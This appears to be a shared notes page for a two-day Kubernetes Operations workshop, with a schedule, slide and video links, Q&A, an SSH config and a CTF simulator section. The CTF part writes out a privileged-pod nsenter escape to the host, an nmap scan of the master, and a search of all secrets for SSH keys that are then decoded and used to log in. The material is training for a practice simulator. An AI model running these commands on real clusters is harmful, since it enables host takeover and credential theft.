# Operations September 28th/29th 2022

## Welcome

Welcome to the 2 day Kubernetes Operations workshop from [Control Plane](https://control-plane.io)

Slides and exercises will be shared at the end of the course.

## TL;DR

### Links

- [HackMD - Operations](https://hackmd.io/r8dBpOvSTeiP0qprJ0JEuQ)
- [HackMD - Fundamentals](https://hackmd.io/RbCxEG8jSxGyt8g3ZyAnMQ)
- [Exercises](https://control.training/operations)
- [Materials - Operations]()
- [Google Cloud](https://console.cloud.google.com/)

### Trainers

- [Ahmed Gabers](mailto:[e-mail])
- [Sophia󠁢 Mexi-Jones󠁷󠁬󠁳󠁿](mailto:[e-mail])

---

## Schedule

### Day 1

| Time | Task |
| ------------ | --------------- |
| 09:00 | Setting up |
| 09:30 | Content |
| 10:30 | **Break** |
| 10:45 | Content |
| 12:00 | **Lunch** |
| 13:00 | Content |
| 15:00 | **Break** |
| 15:15 | Content |
| 17:00 | Closing Day 1 |

### Day 2

| Time | Task |
| ------------ | --------------- |
| 09:00 | Setting up |
| 09:30 | Content |
| 10:30 | **Break** |
| 10:45 | Content |
| 12:00 | **Lunch** |
| 13:00 | Content |
| 15:00 | **Break** |
| 15:15 | Debugging |
| 17:00 | Closing Day 2 |

---

## Videos
- [Kubernetes System Components](https://vimeo.com/414518402/0dbdc85f5f)
- [Installation Methods](https://vimeo.com/414526709/1db196994d)
- [Logging and Monitoring](https://vimeo.com/414519291/cec3ababed)
- [Multitenancy](https://vimeo.com/414519516/5314e6af02)
- [Cluster State](https://vimeo.com/414518273/5e623fae1c)
- [Zero Downtime Deployments slides](https://vimeo.com/414526430/e44986311f)
- [Secrets Management](https://vimeo.com/414519796/62dbd25e4d)
- [Testing Network Policy](https://vimeo.com/414526109/ae15d726f2)
- [Ingress](https://vimeo.com/414518878/6c88904773)
- [Users, Identity, and RBAC](https://vimeo.com/controlplane)

## Slide Links

### Kubernetes System Components

- [API server ports and IPs](https://kubernetes.io/docs/reference/access-authn-authz/controlling-access/#api-server-ports-and-ips)
- [RAFT protocol](https://runway.systems/?model=github.com/ongardie/runway-model-raft#)
- [Kubernetes High Availability: No Single Point of Failure](https://thenewstack.io/kubernetes-high-availability-no-single-point-of-failure/)
- [kube-ops-view](https://codeberg.org/hjacobs/kube-ops-view)
- [What happens when ... Kubernetes edition!](https://github.com/jamiehannaford/what-happens-when-k8s)
- [Kubernetes Networking: How to Write Your Own CNI Plug-in with Bash](https://www.altoros.com/blog/kubernetes-networking-writing-your-own-simple-cni-plug-in-with-bash/)

### Kubernetes Installation Methods

- [Pick right solution](https://unofficial-kubernetes.readthedocs.io/en/latest/setup/pick-right-solution/)
- [Awesome Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#installers)
- [Kubernetes High Availability: No Single Point of Failure](https://thenewstack.io/kubernetes-high-availability-no-single-point-of-failure/)
- [kube-spawn](https://github.com/kinvolk/kube-spawn)
- [Implementation details](https://kubernetes.io/docs/reference/setup-tools/kubeadm/implementation-details/)
- [Kubernetes The Hard Way](https://github.com/kelseyhightower/kubernetes-the-hard-way)

### Kubernetes Logging and Monitoring

- [The RED Method: key metrics for microservices architecture](https://www.weave.works/blog/the-red-method-key-metrics-for-microservices-architecture/)
- [Easily deploy, manage, and monitor container-based applications](https://cloud.weave.works )
- [Logging Architecture](https://kubernetes.io/docs/concepts/cluster-administration/logging/)
- [Observability of Clusters and Containers](https://github.com/javajon/kubernetes-observability)
- [Logging Using Elasticsearch and Kibana](https://kubernetes.io/docs/tasks/debug-application-cluster/logging-elasticsearch-kibana/)
- [The RED Method: How To Instrument Your Services](https://youtu.be/TJLpYXbnfQ4)
- [Kubernetes Monitoring 101 — Core pipeline & Services Pipeline](https://medium.com/magalix/kubernetes-monitoring-101-core-pipeline-services-pipeline-a34cd4cc9627)

### Kubernetes in the Cloud

- [Getting started with Amazon EKS](https://aws.amazon.com/eks/getting-started/)
- [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine)
- [Azure AKS](https://docs.microsoft.com/en-us/azure/aks/intro-kubernetes)

### Multitenancy

- [Using Admission Controllers](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/)
- [Namespaces](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/)
- [Cluster multi-tenancy](https://cloud.google.com/kubernetes-engine/docs/concepts/multitenancy-overview)
- [Kubernetes Multi-Tenancy Best Practices](https://platform9.com/blog/kubernetes-multi-tenancy-best-practices/)

### Cluster State

- [Encrypting Secret Data at Rest](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
- [Secure Secret management for Kubernetes (with gpg, Google Cloud KMS and AWS KMS backends)](https://github.com/shyiko/kubesec)
- [Encryption at rest KMS integration](https://github.com/kubernetes/features/issues/460)
- [Using AWS KMS for application secrets in Kubernetes](https://medium.com/@mtreacher/using-aws-kms-for-application-secrets-in-kubernetes-149ffb6b4073)
- [Sealed Secrets - a Kubernetes controller and tool for one-way encrypted Secrets](https://github.com/bitnami-labs/sealed-secrets)
- [Introducing Container Storage Interface (CSI) Alpha for Kubernetes](https://kubernetes.io/blog/2018/01/introducing-container-storage-interface/)
- [Understanding the Container Storage Interface (CSI)](https://medium.com/google-cloud/understanding-the-container-storage-interface-csi-ddbeb966a3b)
- [Kubernetes Container Storage Interface (CSI) Documentation](https://kubernetes-csi.github.io/docs/)
- [Drivers](https://kubernetes-csi.github.io/docs/drivers.html)
- [Container Storage Interface (CSI)](https://github.com/container-storage-interface/spec/blob/master/spec.md)
- [Secure GitOps in Production](https://docs.google.com/presentation/d/1B-LtFa2766jbFFPwg5QgcQKwS2q8G_Jc4VK259fLA_o/edit#slide=id.g3ece4d02b1_1_349)

## Questions

- **Question**: how do I add a question?
- **Answer**: like this!
- **Question**: Question about metrics: if we use gke or eks, do we need a metrics addon/server on k8? Is it not automatically provided by gcp or aws ?
- **Answer**: So each hosted offering is different, but they would offer addons to what you'd want to use for your custom metrics that would usually be linked to their own ecosystem of products (e.g. stackdriver within GKE). It would be a configuration add on for the instance
- **Question**: Please can someone remind me why we need “sudo” on the worker nodes? `sudo kubeadm join 10.10.20.4:6443`. The port isn’t low enough to need normal Root.
- **Answer**: We install kubelet that uses systemd and requires access to the docker socket so requires additional priv
Another example of this would be the way that the cluster manages the network, iptables are used so a process that requires access to this will require elevated priv. There are other proposed implementations of Kubernetes that may address this. For example usernetes

## Snippets

### ssh config

- Update your `.ssh/config` to gain local ssh access to cluster
- This is assuming you have run the gcloud command on your local machine

Host kubernetes-master
  Hostname 34.105.241.52
  IdentityFile ~/.ssh/google_compute_engine
  IdentitiesOnly yes
  TCPKeepAlive yes
  User lewis
Host kubernetes-worker-0
  Hostname 35.242.177.49
  IdentityFile ~/.ssh/google_compute_engine
  IdentitiesOnly yes
  TCPKeepAlive yes
  User lewis
Host kubernetes-worker-1
  Hostname 34.142.14.245
  IdentityFile ~/.ssh/google_compute_engine
  IdentitiesOnly yes
  TCPKeepAlive yes
  User lewis
Host kubernetes-worker-2
  Hostname 35.242.137.52
  IdentityFile ~/.ssh/google_compute_engine
  IdentitiesOnly yes
  TCPKeepAlive yes
  User lewis

## Stickers

Please email me at [[e-mail]](mailto:[e-mail]?subject=Stickers) with a postal address and stickers will be sent.

## CTF

- [Drive link](https://drive.google.com/drive/folders/1hX0zsEo935IYlZvJBZdsvXg4QP6Vgyzz?usp=sharing)

### Setup

- Download the `*.tar` bundle from your room directory in the Google Drive link above

tar xf *.tar.gz
ssh -i cp_simulator_rsa -F cp_simulator_config -o IdentitiesOnly=yes bastion

### Scenario 0

apt update -y && apt install curl -y
curl -LO "https://dl.k8s.io/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl.sha256"
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
kubectl get pods

/ no dice

ls /proc/

### Scenario 1

kubectl --token="$JWT"  run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

### Scenario 2

kubectl get nodes -o wide
export MASTERIP=$(kubectl get nodes k8s-master-0 -o wide | grep k8s-master-0 | awk '{print $6}')
apt update
apt install nmap
nmap $MASTERIP
curl $MASTERIP:5678
kubectl get secrets -o yaml --all-namespaces | grep ssh
kubectl get secrets -o yaml --all-namespaces | grep ssh
touch id && chmod 600 id
echo “...” | base64 -d > id
ssh -i id hashjack@$MASTERIP
docker image inspect control-plane.io/valiant:effort | grep UpperDir
docker run -it --rm --privileged --name hashjacked debian

## History

*Times are based on GMT*

### Day 1

- 09:00 am
- Setup
- 09:30 am
- Recap
- 09:45 am
- [Kubernetes System Components slides](https://vimeo.com/414518402/0dbdc85f5f)
- [Installation Methods slides](https://vimeo.com/414526709/1db196994d)
- [Logging and Monitoring slides](https://vimeo.com/414519291/cec3ababed)
- 10:15 am
- Google Cloud Shell walkthrough
- https://console.cloud.google.com/getting-started
- 10:30 am
- Break
- 10:45 am
- [Installing, upgrading, and maintaining kubernetes workshop](https://control.training/operations/modules/installing-upgrading-and-maintaining-kubernetes/)
- 12:00 pm
- Lunch
- 13:00 pm
- Installing, upgrading, and maintaining kubernetes review
- 14:00 pm
- [Multitenancy](https://vimeo.com/414519516/5314e6af02)
- 14:15 pm
- [Cluster architecture and topologies](https://control.training/operations/modules/cluster-architecture-and-topologies/)
- 15:00 pm
- Break
- 15:15 pm
- [Cluster architecture and topologies](https://control.training/operations/modules/cluster-architecture-and-topologies/)
- 15:45 pm
- Cluster architecture and topologies review
- 16:30 pm
- Quiz
- 17:00 pm
- --Fin--

### Day 2

- 09:00 am
- Simulator: Scenario 0
- 10:00 am
- [Cluster State Slides](https://vimeo.com/414518273/5e623fae1c)
- 10:30 am
- [Maintaining etcd workshop](https://control.training/operations/modules/maintaining-etcd/)
- 12:00 pm
- Lunch
- 13:00 pm
- Maintaining etcd review
- 13:30 pm
- Simulator: Scenaio 1
- 14:00 pm
- Break
- 14:15 pm
- [Zero Downtime Deployments slides](https://vimeo.com/414526430/e44986311f)
- [Secrets Management](https://vimeo.com/414519796/62dbd25e4d)
- 14:30 pm
- [Zero Downtime Deployments and Secrets Management workshop](https://control.training/operations/modules/zero-downtime-deployments-and-secrets-management/)
- 15:20 pm
- Zero Downtime Deployments and Secrets Management review
- 15:40 pm
- [Testing Network Policy slides](https://vimeo.com/414526109/ae15d726f2)
- [Ingress slides](https://vimeo.com/414518878/6c88904773)
- [Advanced Features Networking Storage and Ingress workshop](https://control.training/operations/modules/advanced-features-networking-storage-and-ingress/)
- [Users, Identity, and RBAC slides](https://vimeo.com/controlplane)
- [Enterprise RBAC and Authentication workshop](https://control.training/operations/modules/enterprise-rbac-and-authentication/)
- 16:30 pm
- Simulator: Scenario 2
- 17:00 pm
- --Fin--